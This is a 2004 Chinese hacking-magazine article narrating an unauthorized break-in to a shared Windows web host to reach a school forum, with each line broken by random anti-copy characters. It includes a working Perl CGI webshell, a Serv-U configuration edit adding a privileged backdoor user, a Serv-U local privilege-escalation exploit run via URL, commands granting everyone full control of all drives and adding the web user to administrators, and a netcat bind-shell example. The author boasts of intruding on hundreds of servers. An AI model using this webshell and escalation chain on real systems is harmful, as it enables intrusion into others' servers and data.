剑走偏锋——灵巧的旁注攻击 0 K$ g; M" }' e
本文作者:angel' M- a/ _/ t! i- }3 F4 i* g6 W
文章性质:原创/ ?$ R7 ^6 g, l9 P& o
发布日期:2004-11-09
2 e# [9 g+ W+ } Q$ g `- h2 `注意:
! B+ m' _) S( Z! T7 B$ p+ \本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。) r0 I; D; N2 `8 R U& T7 a
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。( @ X( m/ S5 \/ x7 ]4 n
1 F, h" M' u% E' t( v% \! q, d/ w
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 . X6 K' W$ X8 y* h7 T! u: n
- X& g/ R$ k$ B8 Q' j, d1 E) v 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
( o: w' X" ]0 e$ e" I) k' k& h. {
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 9 O0 R4 U% Z. o
3 e) Q6 c! G. w/ E; f
一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 2 R; F1 K( W7 Q$ @
+ B* W* W% J. R+ T( ? 大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
6 W, D0 a# J9 l1 `* E8 j( E; q
" C3 F. \# Y. K; q' C" s, o 没有目的的跳转目录着……
7 ^0 ]* B5 z1 V, O- C* ^/ F# [9 d$ u! g. e$ v
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… : J& G1 L7 d! }# o4 ^$ F
! y$ z! U! ?" h, g F2 ~* l9 p
结束了吗?不,我试着 FTP 一下: * a9 V+ Y9 k2 \8 k& B7 j. ~
+ ?, d! q5 a, p$ q( M4 a7 J3 a7 CMicrosoft Windows 2000 [Version 5.00.2195]9 O/ j) ]. U+ y
(C) 版权所有 1985-2000 Microsoft Corp. % a% T9 N* e! r8 x
6 }) N7 T, F& |. Y/ @' z7 G% c
C:\Documents and Settings\Administrator>ftp www.school.com5 @% R: @5 s4 T" i2 b
Connected to www. school.com.
0 n$ ]' j' i8 L. s6 o220 Welcome to FTP Server...
# ~3 x- c: @7 L9 W: y2 B* W8 Q0 WUser (www.bjtrq.com:(none)): , H+ \0 A% v+ ~6 P7 |
331 User name okay, need password. 5 l# C/ b& j$ Q
Password: * f7 m/ e2 z% c8 l0 e z
530 Not logged in. 8 F! V1 K+ j' n, J
Login failed.
9 j$ C- _, e% `" h1 Iftp> bye ' K6 `1 D1 W' _$ b. |
221 Goodbye!
# i# f* S% t' W4 Z( p- V
( ?( t- H* _" @- o% p( j6 {0 M
! Y& Q# U% J7 r9 s" B: f 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… & m5 R7 r+ j. I
! n8 q4 J1 q* w+ t* {) [- |
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
6 \+ l" {. ~- M* G, D& p
6 M) J* j! ~9 J7 B+ x1 b7 gApplication Data- | L" p5 z4 f" H
Documents+ k4 k( {* F5 B. P/ ?7 \8 `
DRM
2 ]) M. q$ Z1 m5 |' R4 Q/ ^0 r0 oFavorites
* z8 ^0 d" c5 j# i5 B& |! K+ Q0 cTemplates/ {8 J8 k6 p, |0 V+ M( j6 }. c
「开始」菜单8 W+ l' i& I/ [$ l- U3 V
桌面
" l: h+ h( T$ R( Q3 p' Y, \9 H/ V, z
# j1 v) C4 K1 l$ k! l8 p& @
. Z6 J6 C* x" f5 B5 g 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
( d7 i8 C3 t' C3 G, h
" S, ]9 N* `" I) i" t8 H% uActiveState ActivePerl 5.8% w) u" X. W% T+ d2 ]9 N
Administrative Tools. f: v, D) `7 O' M( V: {0 Y }+ t
Deerfield.com/ w! Q5 P/ ^) y# J
DTemp, c" r' I8 P# B7 j4 F: R. d% }& S* K- Q
IPSentry
7 w G6 P' W9 d9 H" R7 W2 sMBM 5' y2 \4 _& _% B# W
NetMeter2 |- n2 v4 T6 f# ]
Network ICE
% r. B: g' l# u+ f5 S( g) Z; EPersits Software AspEmail
8 T9 N) j6 ]6 DPersits Software AspJpeg
8 r$ {6 k( {' z8 H; RServ-U FTP Server
3 S k2 E$ y; R2 x$ p. `Symantec Client Security% J3 C: C4 |3 t4 u
Windows 优化大师
# b7 s" ?" R9 x# }2 ?WinRAR M( D7 `/ A1 ?0 L2 Y
启动% v5 G, ^- |9 m3 j
管理工具
+ ~$ e& A8 s h/ F附件! g! i( y6 [) F$ K3 P' k1 T$ Z
- ~' h! c+ f. [# a
c f& E$ |4 ?2 }
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
0 G& ^, _ O+ F; q d) x$ o6 v, B j* ?0 M% P
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
% I. v: O! D5 k0 I% y
& l& g8 l8 u7 ]: O. p9 KUser281=angel|1|0 * p( j* K" c' r6 E- g- d: m# b
: I! A/ F$ z3 d A* D- k
6 |* d, h; e7 s+ t 然后加上
' O- o5 D7 ?. J& n3 s9 ^& n! o
, C4 k! I9 J( K4 t) C/ N" b[USER=angel|1]
c( N% Q) h- f4 G. |/ m& `' CPassword=ng98F85379EA68DBF97BAADCA99B69B8056 u' @& U5 F9 m/ t5 R3 E; J4 e
HomeDir=D:\websites
2 G9 U* h: o, i Z6 Y' i: }RelPaths=1# a: T" f" }. h! ?; b! Q. G# P5 I
TimeOut=600
$ i+ G' ]# a* uMaintenance=System) e3 l. Z9 A* h1 @
Access1=D:\websites|RWAMELCDP, Q8 J# A( p$ z; N+ i' s' X" U/ w
SKEYValues=2 N2 h' l1 | x m. u
7 {, O7 O% \5 k1 u" y9 t8 U. g# n2 P1 m" d- V
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
' I6 |& s/ Y3 q$ p- ^) o
# l* ~. }$ s4 M/ r0 y 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 3 _: R. a- h# ~: E
2 G6 ^9 F! w, B/ E5 L 不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 1 u# Z! U- Y3 \5 b, ~: G
" D' q8 a0 }2 R4 }. Q X 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
3 ?- F& ]1 R4 Y/ f9 o# `. [" [
" E" N7 c: E% l/ Q#!/usr/bin/perl
7 z/ @' L0 @* j( }( Sbinmode(STDOUT);# c/ l8 D' B* T8 B2 R
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
( ]$ v2 z8 o; a8 e1 ^. v$_ = $ENV{QUERY_STRING};0 E6 T* v3 C* H$ W1 F" ~
s/%20/ /ig;* }, R7 {5 `( ]9 K/ e$ |* g
s/%2f/\//ig;) g3 o- w8 s8 E; z& f d$ U
$execthis = $_;
, j0 [/ A K0 N$ Msyswrite(STDOUT, "<HTML><PRE>\r\n", 13);+ L3 `# w" _. N6 A( r+ H3 x
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
! }, L; u' X. C# M' O, X7 {2 Esystem($execthis);
+ J+ r5 P! c8 Z6 t! M3 F* L) [syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);. X7 f# \5 Q# [/ [. C% W3 d
close(STDERR);" `3 j |& V1 V6 F- L
close(STDOUT);) n E& T* f) X& m ?7 Q
exit;
2 w! m$ a2 } A1 ^ Q 4 R3 i9 M* ]: F+ R* ?
9 Q. X: n3 R$ U+ t 我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
. T9 X& R; g5 B, v8 s! Y6 u6 H# ?8 C
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: 5 y: q# P1 u3 e3 ~/ e! G& ~
' V$ Y% I2 ]7 p K& T' t1 u* Dhttp://anyhost//cmd.pl?d:\user\bin\su.exe
4 \# j& ^5 c' }- \
$ o' Z! M: c X1 F* f! A$ ^0 M4 ?& I
返回: 2 M. i8 w* D( ?( t4 O
. |" A: x: w, B4 AServ-u >3.x Local Exploit by xiaolu 3 K6 A1 U- G" |$ u2 j
. K5 J8 L7 v V" Q1 O9 l0 F: ~/ q
USAGE: serv-u.exe "command"
# Y2 |( w# T- g
?7 A& o) F. C. r$ GExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" p- w. h; k( x! [
- y: X: t. Y9 Q# x5 X$ Q
. x2 c a0 a" U- G( c2 S1 k3 t 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
% k( T* n. @* B( `3 e; z# _
% {+ J2 x- i4 u5 Z8 f* `. h: Bhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
( O- Q5 ?1 F" q" `2 X, z
; a) f, _# X( l3 y; g( }* Yhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
" H1 i3 U3 A0 ~; p. j7 p0 k, v% x) U( h: Z
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" 3 a) z6 @* K q1 a* c0 n% T1 S5 o
. T: @/ \- c4 L3 ?
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" 7 p! m+ J0 L, I8 o
, x/ \! C& s7 g* D0 R2 P' o: o3 Z7 X: f5 B+ M& z& Z4 G3 `2 u
返回下面的信息,就表示成功了!!! * g' A. [, _3 b. l- H* {& x
* J5 G, j- [9 |" _
Serv-u >3.x Local Exploit by xiaolu D& w G V1 `+ D6 d; U! x
- c4 K6 E2 [0 x
<220 Serv-U FTP Server v5.2 for WinSock ready... * M1 V, ]8 b, r9 v( e( o
; k! S) S b* N$ [>USER LocalAdministrator - I0 M5 q5 E) y( T
0 e( U' M. e+ F! m: t2 U& u<331 User name okay, need password.
5 Y& L3 X+ Q% ?5 K' g
9 o1 I% _* E( L# ?# E1 ^****************************************************** % c+ o o% ~* R, @. f( n) x
: Z; Q y; M4 d' }; D>PASS #l@$ak#.lk;0@P
* B! B7 F. q. e1 H4 m* e0 \) J8 S3 Y" ]4 l4 \
<230 User logged in, proceed. 3 }- L: j: D- _
$ w# \+ [" ^* I# R****************************************************** ; \5 o1 F0 ~: U9 l
8 b( Z3 P/ ?+ F. g1 ~5 l Q
>SITE MAINTENANCE 4 K7 f( b& k/ i. ]3 u' p( a+ T; i
& o! s' t9 u4 C******************************************************
: Q9 A4 O$ \! y8 R- J
# o" m( b% u/ c4 Q) z+ L6 t[+] Creating New Domain...
3 ~) F# S4 M h
* K) L2 x1 p/ W- `. I<200-DomainID=2
5 m j$ L" b' x$ g G' ~1 E4 o4 g
8 l' {! g, m# p7 `. k1 V- C2 t<220 Domain settings saved
* s5 P. k5 M1 [4 B% y
s7 a0 H) M6 O, Z ?3 S7 A( z******************************************************
- E6 Y6 w, q( ? k' [
6 b3 }! ?9 W/ {4 s[+] Domain xl:2 Created 7 U& H& B* t' q7 D$ R+ r; j+ h
4 B: @' Z l/ I
[+] Creating Evil User
+ z4 a, |' w2 {/ p- J% C7 g) |9 J' Z
<200-User=xl 9 u1 K; `' C# g1 U8 o* g
* |9 M9 d7 p) U% F' X# ^
200 User settings saved ) `' p, L! \# a, K
0 E e- L. k- w****************************************************** ! d& \- n, V# V
* c4 W, y( A: T/ J( p9 p9 b2 G7 B[+] Now Exploiting...
! S/ X" p6 q, m7 H6 V
$ _3 b. O( U0 H: J% W/ J5 D2 l>USER xl
3 h* |2 W* @" b7 {
% m% J, f3 U/ a$ n<331 User name okay, need password.
2 Q k3 g2 f% e" S+ ^1 h v6 s2 F8 h
! }* E% ^3 t( j+ e5 |******************************************************
E" _5 `) Q2 R" z/ k
& \5 Z! J5 ^8 l2 q6 @3 B3 Z1 q>PASS 111111 9 y$ W E6 j- _3 _5 D( p% b
1 T5 [0 o1 u- i: y3 A) k& \ S; o<230 User logged in, proceed. , l" h" J% B$ e
8 S' U1 f# E" j" U% m% O y, z
******************************************************
' @( v4 R# C# i2 s @7 K4 D
( \5 X! s; p* T2 [5 a[+] Now Executing: cacls.exe c: /E /T /G everyone:F
' R7 ~' |2 Q0 T$ f- [: G2 x% ]# r" L% z
6 T5 }9 \" q& [' X- A3 p4 u<220 Domain deleted
( N3 V' L ?/ t5 r- J& m" a8 X4 v& j+ Q1 }
******************************************************
& B2 ~) a+ t5 x: ]
0 @! k' P4 @. C5 g0 K7 [1 J0 u9 h% b) g9 z% Y3 b2 e" t
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
6 j% w& S' Q2 v' [
3 ]2 V7 Z3 u0 yhttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
, b# G$ F/ g t ! b, q' t; T7 R/ w( X3 N5 Z
% z5 X- i- I: h* t: i- E( Z& H5 M 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
+ V2 s4 N) k* m- e* V/ I- f- }9 H1 r- ^7 x3 W+ |% i
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
' E! x v0 S- B! O/ p + _* F! V8 d/ f
0 K* z# w. L f) l
|